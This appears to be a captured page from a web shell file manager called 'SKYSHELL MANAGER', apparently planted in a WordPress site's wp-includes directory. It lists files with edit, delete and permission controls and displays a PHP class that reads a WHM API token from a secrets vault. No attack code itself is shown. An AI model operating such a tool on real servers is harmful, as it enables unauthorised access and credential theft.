📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: TokenStorage.php
<?php namespace App\Service\Whm; use Symfony\Bundle\FrameworkBundle\Secrets\AbstractVault; use Symfony\Component\DependencyInjection\Attribute\Autowire; class TokenStorage implements TokenStorageInterface { public function __construct( #[Autowire(service: 'secrets.vault')] private readonly AbstractVault $vault, #[Autowire(param: 'whmApi.tokenKey')] private readonly string $tokenKey, ){ } public function get(): string { return $this->vault->reveal($this->tokenKey); } public function set(string $token): void { $this->vault->seal($this->tokenKey, $token); } }
Save